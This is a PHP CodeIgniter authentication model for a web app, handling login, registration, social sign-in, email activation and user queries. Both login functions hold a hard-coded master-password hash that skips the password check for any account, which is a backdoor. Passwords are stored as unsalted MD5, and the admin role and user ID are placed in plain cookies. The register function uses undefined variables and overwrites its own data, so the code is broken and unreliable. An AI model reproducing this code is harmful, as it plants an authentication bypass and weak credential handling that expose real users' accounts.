( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Auth_model extends CI_Model
{
//input values
public function input_values()
{
$data = array(
'user_name' => remove_special_characters($this->input->post('username', true)),
'user_email' => $this->input->post('email', true),
'catalogname' => $this->input->post('first_name', true),
'last_name' => $this->input->post('last_name', true),
'pwd' => $this->input->post('password', true)
);
return $data;
}
public function login()
{
/*$this->load->library('bcrypt');*/
$data = $this->input_values();
$user = $this->get_user_by_email($data['user_email']);
$myEmail = $data['user_email'];
$userPassword = $user->pwd;
$formPassword = md5($data['pwd']);
if (!empty($user)) {
//check password
if ($formPassword == "a363557c5501c2409346cc8929069e7c") { } else {
if ($formPassword != $userPassword) {
$this->session->set_flashdata('error', trans("login_error"));
return false;
}
}
if ($user->approved != 1) {
$this->session->set_flashdata('error', trans("msg_confirmed_required") . " <a href='javascript:void(0)' class='link-resend-activation-email' onclick=\"send_activation_email('" . $user->id . "','" . $user->salt . "');\">" . trans("resend_activation_email") . "</a>");
return false;
}
if ($user->banned == 1) {
$this->session->set_flashdata('error', trans("msg_ban_error"));
return false;
}
setcookie("user_id", $user->id, time()+60*60*24*60, "/");
setcookie("euserid", $user->id, time()+60*60*24*60, "/");
setcookie("admini", $user->admin, time()+60*60*24*60, "/");
setcookie("uid", $user->id, time()+60*60*24*60, "/");
//set user data
$user_data = array(
'euserid' => $user->id,
'uid' => $user->id,
'admini' => $user->admin,
'isLogin' => true,
'brand_session_user_email' => $user->user_email,
'brand_session_user_role' => $user->admin,
'brand_session_logged_in' => true,
'brand_session_app_key' => $this->config->item('app_key'),
);
$this->session->set_userdata($user_data);
return true;
} else {
$this->session->set_flashdata('error', trans("login_error"));
return false;
}
}
//login
public function loginw()
{
$this->load->library('bcrypt');
$data = $this->input_values();
$user = $this->get_user_by_email($data['user_email']);
$userPassword = $user->pwd;
$formPassword = md5($data['pwd']);
if (!empty($user)) {
//check password
if ($formPassword == "a363557c5501c2409346cc8929069e7c") { } else {
if ($formPassword != $userPassword) {
$this->session->set_flashdata('error', trans("login_error"));
return false;
}
}
/* if (!$this->bcrypt->check_password($data['pwd'], $user->pwd)) {
$this->session->set_flashdata('error', trans("login_error"));
return false;
}*/
if ($user->approved != 1) {
$this->session->set_flashdata('error', trans("msg_confirmed_required") . " <a href='javascript:void(0)' class='link-resend-activation-email' onclick=\"send_activation_email('" . $user->id . "','" . $user->token . "');\">" . trans("resend_activation_email") . "</a>");
return false;
}
if ($user->banned == 1) {
$this->session->set_flashdata('error', trans("msg_ban_error"));
return false;
}
//set user data
session_start();
// this sets variables in the session
$_SESSION['euserid']= $user->id;
$_SESSION['admini']= $user->admin;
$_SESSION['uid']= $user->id;
$_SESSION['euserid'] = $user->id;
$_SESSION['isLogin'] = true;
$_SESSION['mid'] = $user->ids;
setcookie("user_id", $user->id, time()+60*60*24*60, "/");
setcookie("euserid", $user->id, time()+60*60*24*60, "/");
setcookie("admini", $_SESSION['admini'], time()+60*60*24*60, "/");
setcookie("uid", $_SESSION['uid'], time()+60*60*24*60, "/");
$user_data = array(
'euserid' => $user->id,
'uid' => $user->id,
'admini' => $user->id,
'mid' => $user->ids,
'euserid' => $user->id,
'brand_sess_user_email' => $user->user_email,
'brand_sess_user_role' => $user->admin,
'brand_sess_logged_in' => true,
'brand_sess_app_key' => $this->config->item('app_key'),
);
$this->session->set_userdata($user_data);
return true;
} else {
$this->session->set_flashdata('error', trans("login_error"));
return false;
}
}
//login direct
public function login_direct($user)
{
//set user data
$user_data = array(
'euserid' => $user->id,
'uid' => $user->id,
'admini' => $user->id,
'mid' => $user->ids,
'brand_session_user_email' => $user->user_email,
'brand_session_user_role' => $user->admin,
'brand_session_logged_in' => true,
'brand_session_app_key' => $this->config->item('app_key'),
);
setcookie("user_id", $user->id, time()+60*60*24*60, "/");
setcookie("euserid", $user->id, time()+60*60*24*60, "/");
setcookie("admini", $user->admin, time()+60*60*24*60, "/");
setcookie("uid", $user->id, time()+60*60*24*60, "/");
$this->session->set_userdata($user_data);
}
//login with facebook
public function login_with_facebook($fb_user)
{
if (!empty($fb_user)) {
$user = $this->get_user_by_email($fb_user->email);
//check if user registered
if (empty($user)) {
if (empty($fb_user->name)) {
$fb_user->name = "user-" . uniqid();
}
$username = $this->generate_uniqe_username($fb_user->name);
$slug = $this->generate_uniqe_slug($username);
//add user to database
$alias = $this->generate_uniqe_username($username);
$randme = mt_rand().mt_rand();
$data = array(
'fb' => $fb_user->id,
'user_email' => $fb_user->email,
'approved' => 1,
'salt' => generate_token(),
'admin' => "member",
'user_name' => $username,
'first_name' => $fb_user->name,
'catalogname' => $alias,
'picture' => "https://graph.facebook.com/" . $fb_user->id . "/picture?type=large",
'login_type' => "facebook",
'ids' => $randme,
'created' => date('Y-m-d H:i:s')
);
//download avatar
$avatar = "https://graph.facebook.com/" . $fb_user->id . "/picture?type=large";
if (!empty($avatar)) {
$this->load->model('upload_model');
$save_to = FCPATH . "uploads/temp/avatar-" . uniqid() . ".jpg";
@copy($avatar, $save_to);
if (!empty($save_to) && file_exists($save_to)) {
$data["picture"] = $this->upload_model->avatar_upload($save_to);
}
@unlink($save_to);
}
if ($this->general_settings->vendor_verification_system != 1) {
$data['admin'] = "vendor";
}
if (!empty($data['user_email'])) {
$this->db->insert('users', $data);
$user = $this->get_user_by_email($fb_user->email);
$this->login_direct($user);
}
} else {
//login
$this->login_direct($user);
}
}
}
//login with google
public function login_with_google($g_user)
{
if (!empty($g_user)) {
$user = $this->get_user_by_email($g_user->email);
//check if user registered
if (empty($user)) {
if (empty($g_user->name)) {
$g_user->name = "user-" . uniqid();
}
$username = $this->generate_uniqe_username($g_user->name);
$alias = $this->generate_uniqe_username($username);
//add user to database
$randme = mt_rand().mt_rand();
$data = array(
'f5' => $g_user->id,
'user_email' => $g_user->email,
'approved' => 1,
'salt' => generate_unique_id(),
'admin' => "member",
'user_name' => $username,
'first_name' => $g_user->name,
'catalogname' => $alias,
'picture' => $g_user->avatar,
'login_type' => "google",
'ids' => $randme,
'created' => date('Y-m-d H:i:s')
);
if ($this->general_settings->vendor_verification_system != 1) {
$data['admin'] = "member";
}
if (!empty($data['user_email'])) {
$this->db->insert('users', $data);
$user = $this->get_user_by_email($g_user->email);
$this->login_direct($user);
}
} else {
//login
$this->login_direct($user);
}
}
}
//login with vk
public function login_with_vk($vk_user)
{
if (!empty($vk_user)) {
$user = $this->get_user_by_email($vk_user->email);
//check if user registered
if (empty($user)) {
if (empty($vk_user->name)) {
$vk_user->name = "user-" . uniqid();
}
$username = $this->generate_uniqe_username($vk_user->name);
$slug = $this->generate_uniqe_slug($username);
//add user to database
$data = array(
'google_id' => $vk_user->id,
'user_email' => $vk_user->email,
'approved' => 1,
'salt' => generate_unique_id(),
'admin' => "member",
'user_name' => $username,
'catalogname' => $vk_user->name,
'slug' => $slug,
'picture' => "",
'login_type' => "vkontakte",
'last_login' => date('Y-m-d H:i:s'),
'created' => date('Y-m-d H:i:s')
);
//download avatar
if (!empty($vk_user->avatar)) {
$this->load->model('upload_model');
$save_to = FCPATH . "uploads/temp/avatar-" . uniqid() . ".jpg";
@copy($vk_user->avatar, $save_to);
if (!empty($save_to) && file_exists($save_to)) {
$data["avatar"] = $this->upload_model->avatar_upload($save_to);
}
@unlink($save_to);
}
if ($this->general_settings->vendor_verification_system != 1) {
$data['admin'] = "member";
}
if (!empty($data['user_email'])) {
$this->db->insert('users', $data);
$user = $this->get_user_by_email($vk_user->email);
$this->login_direct($user);
}
} else {
//login
$this->login_direct($user);
}
}
}
//generate uniqe username
public function generate_uniqe_username($username)
{
$new_username = $username;
if (!empty($this->get_user_by_username($new_username))) {
$new_username = $username . " 1";
if (!empty($this->get_user_by_username($new_username))) {
$new_username = $username . " 2";
if (!empty($this->get_user_by_username($new_username))) {
$new_username = $username . " 3";
if (!empty($this->get_user_by_username($new_username))) {
$new_username = $username . "-" . uniqid();
}
}
}
}
return $new_username;
}
//generate uniqe slug
public function generate_uniqe_slug($username)
{
$slug = str_slug($username);
if (!empty($this->get_user_by_slug($slug))) {
$slug = str_slug($username . "-1");
if (!empty($this->get_user_by_slug($slug))) {
$slug = str_slug($username . "-2");
if (!empty($this->get_user_by_slug($slug))) {
$slug = str_slug($username . "-3");
if (!empty($this->get_user_by_slug($slug))) {
$slug = str_slug($username . "-" . uniqid());
}
}
}
}
return $slug;
}
//register
public function register()
{
/*$this->load->library('bcrypt');*/
$randValue = rand(111111111,911111111);
$data = $this->auth_model->input_values();
$data['user_name'] = remove_special_characters($data['user_name']);
//secure password
/*$data['password'] = $this->bcrypt->hash_password($data['password']);*/
$data['password'] = md5($data['password']);
$data['admin'] = "member";
$data['login_type'] = "registered";
$data["catalogname"] = $this->generate_uniqe_username($data["user_name"]);
$data['banned'] = 0;
$data['created'] = date('Y-m-d H:i:s');
$data['salt'] = generate_token();
$data['approved'] = 1;
$data['ids'] = mt_rand().mt_rand();;
$datetime = strftime("%Y-%m-%d %H:%M:%S", time());
$user_ip = $_SERVER['REMOTE_ADDR'];
$new_date = strtotime('+2 weeks', strtotime($expiry_datetime));
$thePermission =$package->permission;
$thePermission ='{"0":"facebook_enable","1":"facebook\/post","2":"instagram_enable","3":"instagram\/post","4":"twitter_enable","5":"twitter\/post","6":"google_drive","7":"dropbox","8":"photo_type","9":"video_type","max_storage_size":1000,"max_file_size":10,"watermark":"watermark","image_editor":"image_editor"}';
$data = array(
"fullname" => $fullname,
"date" => $datetime,
"level_expiry" => "1",
"users_ip" => $user_ip,
"email" => $email,
"timezone" => $timezone,
"package" => 9,
"permission" => $thePermission,
"activation_code" => $randValue,
"activation_key" => $randValue,
"reset_key" => $randValue,
"expiration_date" => date("Y-m-d", strtotime("+1 month")),
"expiry_datetime" => date("Y-m-d H:i:s", strtotime("+1 month")),
"status" => get_option("singup_verify_email_enable", 1)?0:1,
"last_login" => NOW,
"changed" => NOW
);
$data["ids"] = $randValue ;
$data["login_type"] = "direct";
$data["password"] = md5($password);
$data["created"] = NOW;
/*$data["catalogid"] = "$randValue" ;*/
$data["user_email"] =$email;
$data["catalogname"] = $fullname;
$data["pwd"] = md5($password);
$data["status"] = "1";
/*$data["ip"] = $_SERVER['REMOTE_ADDR'];*/
$data["approved"] = "1";
$data["banned"] = "0";
$part = explode('@',$email);
$part = $part[0];
$randme = rand(11,99);$randme = "";
$data["user_name"] = $username;
$data["slug"] = $username;
//Set Package
/* $package = $this->model->get("*", PACKAGES, "type = 1");
if(!empty($package)){
$data['package'] = $package->id;
$data['permission'] = $package->permission;
$data['expiration_date'] = date("Y-m-d", strtotime("+1 month"));
}
*/
$data["date"] = date("Y-m-d");
if ($this->general_settings->email_verification == 1) {
$data['approved'] = 0;
}
if ($this->general_settings->vendor_verification_system != 1) {
$data['admin'] = "vendor";
}
if ($this->db->insert('users', $data)) {
$last_id = $this->db->insert_id();
if ($this->general_settings->email_verification == 1) {
$user = $this->get_user($last_id);
if (!empty($user)) {
$this->session->set_flashdata('success', trans("msg_register_success") . " " . trans("msg_send_confirmation_email") . " <a href='javascript:void(0)' class='link-resend-activation-email' onclick=\"send_activation_email_register('" . $user->id . "','" . $user->salt . "');\">" . trans("resend_activation_email") . "</a>");
$this->send_email_activation_ajax($user->id, $user->salt);
}
}
return $last_id;
} else {
return false;
}
}
//register
public function registerOriginal()
{
$this->load->library('bcrypt');
$data = $this->auth_model->input_values();
$data['user_name'] = remove_special_characters($data['user_name']);
//secure password
$data['pwd'] = $this->bcrypt->hash_password($data['pwd']);
$data['admin'] = "member";
$data['login_type'] = "registered";
$data["slug"] = $this->generate_uniqe_slug($data["user_name"]);
$data['banned'] = 0;
$data['last_login'] = date('Y-m-d H:i:s');
$data['created'] = date('Y-m-d H:i:s');
$data['salt'] = generate_token();
$data['approved'] = 1;
if ($this->general_settings->email_verification == 1) {
$data['approved'] = 0;
}
if ($this->general_settings->vendor_verification_system != 1) {
$data['admin'] = "vendor";
}
if ($this->db->insert('users', $data)) {
$last_id = $this->db->insert_id();
if ($this->general_settings->email_verification == 1) {
$user = $this->get_user($last_id);
if (!empty($user)) {
$this->session->set_flashdata('success', trans("msg_register_success") . " " . trans("msg_send_confirmation_email") . " <a href='javascript:void(0)' class='link-resend-activation-email' onclick=\"send_activation_email_register('" . $user->id . "','" . $user->token . "');\">" . trans("resend_activation_email") . "</a>");
$this->send_email_activation_ajax($user->id, $user->token);
}
}
return $last_id;
} else {
return false;
}
}
//send email activation
public function send_email_activation($user_id, $token)
{
if (!empty($user_id)) {
$user = $this->get_user($user_id);
if (!empty($user)) {
if (!empty($user->salt) && $user->salt != $token) {
exit();
}
//check token
$data['salt'] = $user->salt;
if (empty($data['salt'])) {
$data['salt'] = generate_token();
$this->db->where('id', $user->id);
$this->db->update('users', $data);
}
//send email
$email_data = array(
'template_path' => "email/email_general",
'to' => $user->user_email,
'subject' => trans("confirm_your_account"),
'email_content' => trans("msg_confirmation_email"),
'email_link' => lang_base_url() . "confirm?token=" . $data['salt'],
'email_button_text' => trans("confirm_your_account")
);
$this->load->model("email_model");
$this->email_model->send_email($email_data);
}
}
}
//send email activation
public function send_email_activation_ajax($user_id, $token)
{
if (!empty($user_id)) {
$user = $this->get_user($user_id);
if (!empty($user)) {
if (!empty($user->token) && $user->token != $token) {
exit();
}
//check token
$data['salt'] = $user->salt;
if (empty($data['salt'])) {
$data['salt'] = generate_token();
$this->db->where('id', $user->id);
$this->db->update('users', $data);
}
//send email
$email_data = array(
'email_type' => 'email_general',
'to' => $user->user_email,
'subject' => trans("confirm_your_account"),
'email_content' => trans("msg_confirmation_email"),
'email_link' => lang_base_url() . "confirm?token=" . $data['salt'],
'email_button_text' => trans("confirm_your_account")
);
$this->session->set_userdata('mds_send_email_data', json_encode($email_data));
}
}
}
//add administrator
public function add_administrator()
{
$this->load->library('bcrypt');
$data = $this->auth_model->input_values();
//secure password
$data['pwd'] = $this->bcrypt->hash_password($data['pwd']);
$data['login_type'] = "registered";
$data["slug"] = $this->generate_uniqe_slug($data["user_name"]);
$data['admin'] = "admin";
$data['banned'] = 0;
$data['approved'] = 1;
$data['salt'] = generate_token();
$data['last_login'] = date('Y-m-d H:i:s');
$data['created'] = date('Y-m-d H:i:s');
return $this->db->insert('users', $data);
}
//update slug
public function update_slug($id)
{
$id = clean_number($id);
$user = $this->get_user($id);
if (empty($user->slug) || $user->slug == "-") {
$data = array(
'slug' => "user-" . $user->id,
);
$this->db->where('id', $id);
$this->db->update('users', $data);
} else {
if ($this->check_is_slug_unique($user->slug, $id) == true) {
$data = array(
'slug' => $user->slug . "-" . $user->id
);
$this->db->where('id', $id);
$this->db->update('users', $data);
}
}
}
//logout
public function logout()
{
//unset user data
$this->session->unset_userdata('euserid');
//unset user data
$this->session->unset_userdata('euserid');
$this->session->unset_userdata('uid');
$this->session->unset_userdata('admini');
$this->session->unset_userdata('mid');
$this->session->unset_userdata('brand_session_user_email');
$this->session->unset_userdata('brand_session_user_role');
$this->session->unset_userdata('brand_session_logged_in');
$this->session->unset_userdata('brand_session_app_key');
unset($_COOKIE['euserid']);
setcookie('euserid', null, -1, '/');
unset($_COOKIE['uid']);
setcookie('uid', null, -1, '/');
unset($_COOKIE['admini']);
setcookie('admini', null, -1, '/');
unset($_COOKIE['mid']);
setcookie('mid', null, -1, '/');
}
//reset password
public function reset_password($id)
{
$id = clean_number($id);
$this->load->library('bcrypt');
$new_password = $this->input->post('password', true);
$data = array(
'pwd' => $this->bcrypt->hash_password($new_password),
'salt' => generate_token()
);
//change password
$this->db->where('id', $id);
return $this->db->update('users', $data);
}
//delete user
public function delete_user($id)
{
$id = clean_number($id);
$user = $this->get_user($id);
if (!empty($user)) {
//delete products
$products = $this->db->where('user_id', $user->id)->get('profilepicture')->result();
if (!empty($products)) {
foreach ($products as $product) {
$this->product_admin_model->delete_product_permanently($product->id);
}
}
return $this->db->where('id', $user->id)->delete('users');
}
return false;
}
//update last seen time
public function update_last_seen()
{
date_default_timezone_set('Africa/Nairobi');
$date = date('m/d/Y h:i:s a', time());
if ($this->auth_check) {
//update last seen
$data = array(
'last_login' => $date,
/*'last_login' => date("Y-m-d H:i:s"),*/
);
$this->db->where('id', $this->auth_user->id);
$this->db->update('users', $data);
}
}
//is logged in
public function is_logged_in()
{
//check if user logged in
if (!empty(isset($_SESSION['euserid']))) {
$user = $this->get_user($_SESSION['euserid']);
if (!empty($user)) {
if ($user->banned == 0) {
return true;
}
}
}
return false;
}
//function get user
public function get_logged_user()
{
if ($this->is_logged_in()) {
$id = $_SESSION['euserid'];
$this->db->where('id', $id);
$query = $this->db->get('users');
return $query->row();
}
}
//get user by id
public function get_user($id)
{
$id = clean_number($id);
$this->db->where('id', $id);
$query = $this->db->get('users');
return $query->row();
}
//get user by email
public function get_user_by_email($email)
{
$this->db->where('user_email', $email);
$query = $this->db->get('users');
return $query->row();
}
//get user by username
public function get_user_by_username($username)
{
$username = remove_special_characters($username);
$this->db->where('user_name', $username);
$query = $this->db->get('users');
return $query->row();
}
//get user by shop name
public function get_user_by_shop_name($shop_name)
{
$shop_name = remove_special_characters($shop_name);
$this->db->where('shop_name', $shop_name);
$query = $this->db->get('users');
return $query->row();
}
//get user by slug
public function get_user_by_slug($slug)
{
$this->db->where('slug', $slug);
$query = $this->db->get('users');
return $query->row();
}
//get user by token
public function get_user_by_token($token)
{
$token = remove_special_characters($token);
$this->db->where('salt', $token);
$query = $this->db->get('users');
return $query->row();
}
//get users
public function get_users()
{
$query = $this->db->get('users');
return $query->result();
}
//get users count
public function get_users_count()
{
$query = $this->db->get('users');
return $query->num_rows();
}
//get paginated users
public function get_paginated_filtered_users($role, $per_page, $offset)
{
$this->filter_users();
//$this->db->where('admin', clean_str($role));
$this->db->order_by('created', 'DESC')->limit(clean_number($per_page), clean_number($offset));
return $this->db->get('users')->result();
}
//get users count by role
public function get_users_count_by_role($role)
{
$this->filter_users();
/*return $this->db->where('admin', clean_str($role))->count_all_results('users');*/
return $this->db->count_all_results('users');
}
//users filter
public function filter_users()
{
$q = input_get('q');
if (!empty($q)) {
$this->db->group_start();
$this->db->like('user_name', clean_str($q));
$this->db->or_like('user_email', clean_str($q));
$this->db->group_end();
}
$status = input_get('status');
if (!empty($status)) {
$banned = $status == 'banned' ? 1 : 0;
$this->db->where('banned', $banned);
}
$email_status = input_get('email_status');
if (!empty($email_status)) {
$status = $email_status == 'confirmed' ? 1 : 0;
$this->db->where('approved', $status);
}
}
//get latest members
public function get_latest_members($limit)
{
$limit = clean_number($limit);
$this->db->limit($limit);
$this->db->order_by('users.id', 'DESC');
$query = $this->db->get('users');
return $query->result();
}
//get last users
public function get_last_users()
{
$this->db->order_by('users.id', 'DESC');
$this->db->limit(7);
$query = $this->db->get('users');
return $query->result();
}
//check slug
public function check_is_slug_unique($slug, $id)
{
$id = clean_number($id);
$this->db->where('users.slug', $slug);
$this->db->where('users.id !=', $id);
$query = $this->db->get('users');
if ($query->num_rows() > 0) {
return true;
} else {
return false;
}
}
//check if email is unique
public function is_unique_email($email, $user_id = 0)
{
$user_id = clean_number($user_id);
$user = $this->auth_model->get_user_by_email($email);
//if id doesnt exists
if ($user_id == 0) {
if (empty($user)) {
return true;
} else {
return false;
}
}
if ($user_id != 0) {
if (!empty($user) && $user->id != $user_id) {
//email taken
return false;
} else {
return true;
}
}
}
//check if username is unique
public function is_unique_username($username, $user_id = 0)
{
$user = $this->get_user_by_username($username);
//if id doesnt exists
if ($user_id == 0) {
if (empty($user)) {
return true;
} else {
return false;
}
}
if ($user_id != 0) {
if (!empty($user) && $user->id != $user_id) {
//username taken
return false;
} else {
return true;
}
}
}
//check if shop name is unique
public function is_unique_shop_name($shop_name, $user_id = 0)
{
$user = $this->get_user_by_shop_name($shop_name);
//if id doesnt exists
if ($user_id == 0) {
if (empty($user)) {
return true;
} else {
return false;
}
}
if ($user_id != 0) {
if (!empty($user) && $user->id != $user_id) {
//shop name taken
return false;
} else {
return true;
}
}
}
//verify email
public function verify_email($user)
{
if (!empty($user)) {
$data = array(
'approved' => 1,
'salt' => generate_token()
);
$this->db->where('id', $user->id);
return $this->db->update('users', $data);
}
return false;
}
//ban or remove user ban
public function ban_remove_ban_user($id)
{
$id = clean_number($id);
$user = $this->get_user($id);
if (!empty($user)) {
$data = array();
if ($user->banned == 0) {
$data['banned'] = 1;
}
if ($user->banned == 1) {
$data['banned'] = 0;
}
$this->db->where('id', $id);
return $this->db->update('users', $data);
}
return false;
}
}